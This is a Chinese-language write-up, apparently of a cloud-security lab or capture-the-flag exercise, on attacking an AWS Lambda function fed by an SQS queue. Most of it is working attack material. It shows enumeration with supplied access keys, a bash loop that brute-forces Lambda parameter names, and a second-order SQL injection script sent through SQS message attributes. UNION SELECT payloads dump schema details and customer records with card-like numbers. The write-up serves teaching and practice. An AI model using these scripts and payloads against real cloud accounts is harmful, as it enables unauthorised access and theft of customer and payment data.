背景:
在无服务器架构中,将 AWS Lambda 与 SQS 结合使用来处理消息是很常见的,如果这些用户提供的数据用于数据库查询,则会出现危险的情况。这强调了安全编码实践的重要性,尤其是当输入源不受信任或可公开访问时。Lambda 函数中的暴力破解属性值也是一种现实生活中的威胁。
根据题目信息设置一下config后,安装aws-enumerator并枚举我们当前用户的权限
JavaScript
拷贝
go install -v github.com/shabarkin/aws-enumerator@latest
JavaScript
拷贝
> ~/go/bin/aws-enumerator cred -aws_access_key_id AKIATWVWNKAVFMBHTHOR -aws_region eu-north-1 -aws_secret_access_key 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
Message: File .env with AWS credentials were created in current folder
枚举一下存在的service
aws-enumerator enum -services all
JavaScript
拷贝
Message: Successful APPMESH: 0 / 1
Message: Successful ACM: 0 / 1
Message: Successful APIGATEWAY: 0 / 8
Message: Successful APPSYNC: 0 / 1
Message: Successful AMPLIFY: 0 / 1
Message: Successful ATHENA: 0 / 3
Message: Successful BATCH: 0 / 4
Message: Successful AUTOSCALING: 0 / 15
Message: Successful BACKUP: 0 / 7
Message: Successful CHIME: 0 / 1
Message: Successful CLOUD9: 0 / 2
Message: Successful CLOUDFRONT: 0 / 5
Message: Successful CLOUDDIRECTORY: 0 / 4
Message: Successful CLOUDFORMATION: 0 / 8
Message: Successful CLOUDTRAIL: 0 / 1
Message: Successful CODEBUILD: 0 / 4
Message: Successful CODECOMMIT: 0 / 2
Message: Successful CLOUDHSMV2: 0 / 2
Message: Successful CLOUDHSM: 0 / 6
Message: Successful CODEPIPELINE: 0 / 3
Message: Successful CLOUDSEARCH: 0 / 2
Message: Successful CODEDEPLOY: 0 / 8
Message: Successful DATAPIPELINE: 0 / 1
Message: Successful COMPREHEND: 0 / 8
Message: Successful DLM: 0 / 1
Message: Successful DATASYNC: 0 / 4
Message: Successful DIRECTCONNECT: 0 / 9
Message: Successful DAX: 0 / 4
Message: Successful DEVICEFARM: 0 / 10
Message: Successful DYNAMODB: 1 / 5
Message: Successful EKS: 0 / 1
Message: Successful CODESTAR: 0 / 2
Message: Successful EC2: 0 / 74
Message: Successful ECS: 0 / 8
Message: Successful ECR: 0 / 2
Message: Successful ELASTICBEANSTALK: 0 / 8
Message: Successful FIREHOSE: 0 / 1
Message: Successful ELASTICACHE: 0 / 10
Message: Successful FMS: 0 / 4
Message: Successful GLUE: 0 / 17
Message: Successful FSX: 0 / 2
Message: Successful ELASTICTRANSCODER: 0 / 2
Message: Successful GLOBALACCELERATOR: 0 / 2
Message: Successful GUARDDUTY: 0 / 3
Message: Successful IOT: 0 / 30
Message: Successful INSPECTOR: 0 / 7
Message: Successful IAM: 0 / 20
Message: Successful GREENGRASS: 0 / 10
Message: Successful GAMELIFT: 0 / 15
Message: Successful HEALTH: 0 / 2
Message: Successful KAFKA: 0 / 1
Message: Successful KINESIS: 0 / 4
Message: Successful KINESISANALYTICS: 0 / 1
Message: Successful KMS: 0 / 3
Message: Successful LIGHTSAIL: 0 / 19
Message: Successful LAMBDA: 1 / 4
Message: Successful IOTANALYTICS: 0 / 5
Message: Successful MEDIASTORE: 0 / 2
Message: Successful MEDIAPACKAGE: 0 / 2
Message: Successful MEDIACONVERT: 0 / 5
Message: Successful MEDIACONNECT: 0 / 2
Message: Successful MACHINELEARNING: 0 / 4
Message: Successful MACIE: 0 / 2
Message: Successful MQ: 0 / 2
Message: Successful MEDIATAILOR: 0 / 1
Message: Successful ORGANIZATIONS: 0 / 7
Message: Successful KINESISVIDEO: 0 / 3
Message: Successful RAM: 0 / 1
Message: Successful POLLY: 0 / 3
Message: Successful RDS: 0 / 21
Message: Successful MEDIALIVE: 0 / 5
Message: Successful OPSWORKS: 0 / 15
Message: Successful PRICING: 0 / 1
Message: Successful MOBILE: 0 / 2
Message: Successful ROUTE53: 0 / 10
Message: Successful REDSHIFT: 0 / 20
Message: Successful PINPOINT: 0 / 1
Message: Successful ROUTE53DOMAINS: 0 / 3
Message: Successful ROUTE53RESOLVER: 0 / 3
Message: Successful SECURITYHUB: 0 / 8
Message: Successful SECRETSMANAGER: 0 / 2
Message: Successful S3: 0 / 1
Message: Successful REKOGNITION: 0 / 2
Message: Successful SAGEMAKER: 0 / 15
Message: Successful ROBOMAKER: 0 / 6
Message: Successful SIGNER: 0 / 3
Message: Successful SNOWBALL: 0 / 5
Message: Successful SERVICECATALOG: 0 / 7
Message: Successful SHIELD: 0 / 7
Message: Successful STORAGEGATEWAY: 0 / 5
Message: Successful STS: 2 / 2
Message: Successful SNS: 0 / 5
Message: Successful SQS: 1 / 1
Message: Successful SSM: 0 / 16
Message: Successful TRANSFER: 0 / 1
Message: Successful TRANSCRIBE: 0 / 2
Message: Successful TRANSLATE: 0 / 1
Message: Successful WAF: 0 / 15
Message: Successful SUPPORT: 0 / 3
Message: Successful XRAY: 0 / 5
Message: Successful WORKMAIL: 0 / 1
Message: Successful WORKDOCS: 0 / 3
Message: Successful WORKLINK: 0 / 1
Message: Successful WORKSPACES: 0 / 8
可以看到对lambda和sqs都有权限 直接dump他们
aws-enumerator dump -services lambda,sqs
JavaScript
拷贝
---------------------------------------------- LAMBDA ----------------------------------------------
ListFunctions
....
------------------------------------------------ SQS ------------------------------------------------
ListQueues
....
查看lambda函数有个
JavaScript
拷贝
> aws lambda list-functions
{
"Functions": [
{
"FunctionName": "huge-logistics-stock",
"FunctionArn": "arn:aws:lambda:eu-north-1:254859366442:function:huge-logistics-stock",
"Runtime": "python3.11",
"Role": "arn:aws:iam::254859366442:role/service-role/huge-lambda-analytics-role-ewljs6ls",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 104874,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-09-20T11:26:12.000+0000",
"CodeSha256": "FkcaVsjbU9YqnNKIPWBqAu76S9bST/bfljnSuDoU4Y0=",
"Version": "$LATEST",
"VpcConfig": {
"SubnetIds": [],
"SecurityGroupIds": [],
"VpcId": "",
"Ipv6AllowedForDualStack": false
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "dcbd95eb-b673-40dc-9bc0-2ce35d1edd0c",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/huge-logistics-stock"
}
}
]
}
有个huge-logistics-stock方法 但是没有权限访问
JavaScript
拷贝
> aws lambda get-function --function-name huge-logistics-stock
An error occurred (AccessDeniedException) when calling the GetFunction operation: User: arn:aws:iam::254859366442:user/analytics-usr is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:eu-north-1:254859366442:function:huge-logistics-stock because no identity-based policy allows the lambda:GetFunction action
虽然没有权限访问源代码但是我们有执行权限
提示我们参数不全 尝试fuzz参数
首先下载 Burp Suite 参数名称 wordlist。
Plain Text
拷贝
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt
我们可以将一个快速的 bash 脚本放在一起,以尝试不同的参数名称并报告任何有效的参数名称。
Shell
拷贝
#!/bin/bash
i=0
for word in $(cat burp-parameter-names.txt); do
cmd=$(aws lambda invoke --function-name huge-logistics-stock --payload "{\"$word\":\"test\"}" output);
((i=i+1))
echo "Try $i: $word"
if grep -q "Invalid event parameter" output;
then
rm output;
else
cat output; echo -e "\nFound parameter: $word" && break;
fi;
done
运行脚本一分钟后,我们得到了一个结果!这次 Lambda 返回不同的错误,确认参数正确。
看到需要ID 查看sqs里面有没有想要的信息
JavaScript
拷贝
aws sqs list-queues
{
"QueueUrls": [
"https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics"
]
}
aws sqs receive-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attribute-names All
{
"Messages": [
{
"MessageId": "d79a5f16-ac47-4f54-8af0-c807f5171145",
"ReceiptHandle": "AQEBx/eeQPjmQE+74BkfGh6V1l+mPgGBZXiuKptCnur9/NsWNVoQiJL33ivUtY8BVGVQwycJPQWoApRIuuOrEoQl1BSU0xn7hTnGskD4CX/OkYnpOD1M01pd11FY4P5BOpIlAJOxdBHJkwqNz8VXDIX696jqyQCRMnCMRbldqFeFoWkaUhNLCka8IYD1WcLTaeIIkPDS+rpNet9QDRV/eZXXtlWNE0v+XM97kaxZ9vZl6BflJrFiPU602rFzHIFO+QpalCmVAfCdB6atfjnXr6bTNxttPdiCLkS7I2RGJS+OMtsIzTrizxo4tY20wf768ibj9E4Ii6Zy7OJDuRzBupD0uPmgXdFRc0o3bUFjDjCd39ahRaOFxHP3fL7Bn+RwSsII+JdUZtgwQdckdOYiDb3Wxw==",
"MD5OfBody": "bdc64d4fca5ea6fc92b8a5685f88f412",
"Body": "Google inc. shipped package of 7kg",
"MD5OfMessageAttributes": "d4cb015bff6ce7f803bff42cb85b1585",
"MessageAttributes": {
"Client": {
"StringValue": "Google inc.",
"DataType": "String"
},
"Weight": {
"StringValue": "7",
"DataType": "Number"
},
"trackingID": {
"StringValue": "HLT8255",
"DataType": "String"
}
}
}
]
}
trackingID和DESC、HLT8255关联
多执行几次
我们会看到不同的客户端,包括VELUS CORP.Google inc.Adidas
给定属性的结构,我们可以在下面创建自己的包含此属性的消息,并尝试将其发送到队列。在下面的消息中,我们指定了自己的 trackingID 值。--message-body
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"VELUS CORP.", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"
接下来我们就能invoke执行payload了
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output
aws v2版本下的命令
aws lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-stock --payload '{"DESC":"HLT1337"}' output.txt
使用不存在client会输出空数组
尝试一下 SQL注入 VELUS CORP.\”
执行这个命令后,消息将被发送到指定的 SQS 队列 huge-analytics,并且消息将包含指定的属性和主体内容。
JavaScript
拷贝
> aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"VELUS CORP.\"", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"
{
"MD5OfMessageBody": "fa6a5a3224d7da66d9e0bdec25f62cf0",
"MD5OfMessageAttributes": "2d8dd3ce680ba83c474e28be62bd5e2f",
"MessageId": "77536957-9073-4102-ab25-5d6b1d7dfcbd"
}
> aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output && cat output
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
"DB error"
表明存在 SQL 注入漏洞,因为添加双引号导致查询公司名称的 SQL 语句出错。"DB error"
简短总结一下流程:
系统机制:
用户/系统组件:通过 SQS 消息发送数据(负载)。
SQS 队列:消息临时存储在 SQS 队列中,等待处理。
Lambda 函数:按计划或由事件触发,从 SQS 队列中读取消息进行处理。
数据库交互:处理过程中,SQS 消息中的数据用于与数据库的交互,可能作为 SQL 查询的一部分。
攻击思路:
二阶 SQL 注入:攻击者可以发送恶意构建的 SQS 有效负载,旨在创建二阶 SQL 注入。这种注入不会立即显现结果,因为攻击者的输入首先存储在系统(如队列或数据库)中,后来仅用于易受攻击的 SQL 查询。
下面的脚本将包含用户输入的特制消息发送到 SQS 队列,然后调用 Lambda 函数来处理该消息。如果 Lambda 响应包含文本 “Invalid” ,则该过程将重复,否则脚本将显示输出。
JavaScript
拷贝
#!/bin/bash
output=default
while [ -n "$output" ]; do
output=""
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{ \"Weight\": { \"StringValue\": \"1337\", \"DataType\":\"Number\"}, \"Client\": {\"StringValue\":\"VELUS CORP.\\\" $1\", \"DataType\": \"String\"}, \"trackingID\": {\"StringValue\":\"HLT1337\", \"DataType\":\"String\"}}" --message-body "Testing" | tee &> /dev/null
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null
output=$(cat output | grep "Invalid")
if [[ $output == "" ]]; then
cat output
echo ""
fi
done
首先,我们需要确定表中的列数。我们尝试了一个语句,但结果导致了数据库错误。接下来,我们可以尝试使用 UNION SELECT 语句。在使用 UNION SELECT 语句时,确定原始查询中的列数至关重要,因为 UNION 运算符用于组合两个 SELECT 语句的结果,这些语句的结果集必须具有相同数量的列。
Shell
拷贝
bash lambda_sqli.sh "SELECT null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, null, null, @@version;-- -"
SQL 负载成功了!让我们解包这些发现:
"UNION SELECT null, null, null, @@version;-- -"
发现:
表中有四列。
@@version 是特定于 MySQL 和 MariaDB 的,用于检索数据库服务器的版本。
服务器版本是 8.0.33(截至 2023 年 6 月 16 日,Amazon Relational Database Service (Amazon RDS) for MySQL 现在支持 MySQL 次要版本 5.7.42 和 8.0.33)。
最后一列是可注入的,并且在属性中显示输出(实际上所有四列都是可注入的,并且输出到相应的属性)。
我们选择第四列来注入我们的负载,并修改脚本以过滤此属性以显示干净的 SQL 输出。
JavaScript
拷贝
#!/bin/bash
output=default
while [ -n "$output" ]; do
output=""
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{ \"Weight\": { \"StringValue\": \"1337\", \"DataType\":\"Number\"}, \"Client\": {\"StringValue\":\"VELUS CORP.\\\" $1\", \"DataType\": \"String\"}, \"trackingID\": {\"StringValue\":\"HLT1337\", \"DataType\":\"String\"}}" --message-body "Testing" | tee &> /dev/null
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null
output=$(cat output | grep "Invalid")
if [[ $output == "" ]]; then
cat output | sed 's/delivered/\n/g' | awk -F"\"" '{ print $3 }' | grep -v "^:" | grep -v '^0' | sed '/^$/d'
fi
done
获取表名
Shell
拷贝
bash lambda_sqli.sh "UNION SELECT null, null, null, table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema NOT IN ('information_schema', 'mysql')-- -"
global_status
global_variables
persisted_variables
processlist
session_account_connect_attrs
session_status
session_variables
variables_info
TrackingData
customerData
一个 TrackingData 一个 customerData
Shell
拷贝
bash lambda_sqli.sh "UNION SELECT null, null, null, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'customerData'-- -"
address
cardUsed
clientName
查看数据 flag 就是 VELUS CORP 地址的 字段了cardUsed
JavaScript
拷贝
bash lambda_sqli.sh "UNION SELECT null, null, null, CONCAT(clientName,':',address,':',cardUsed) FROM customerData-- -"
Adidas:56 Claremont Court:5133110655169130
EY:3 Farmco Parkway:4913444258211042
Google Inc.:559 Ohio Lane:3532085972424818
VELUS CORP.:e46fbfe64cf7e50be097005f2de8b227:3558615975963377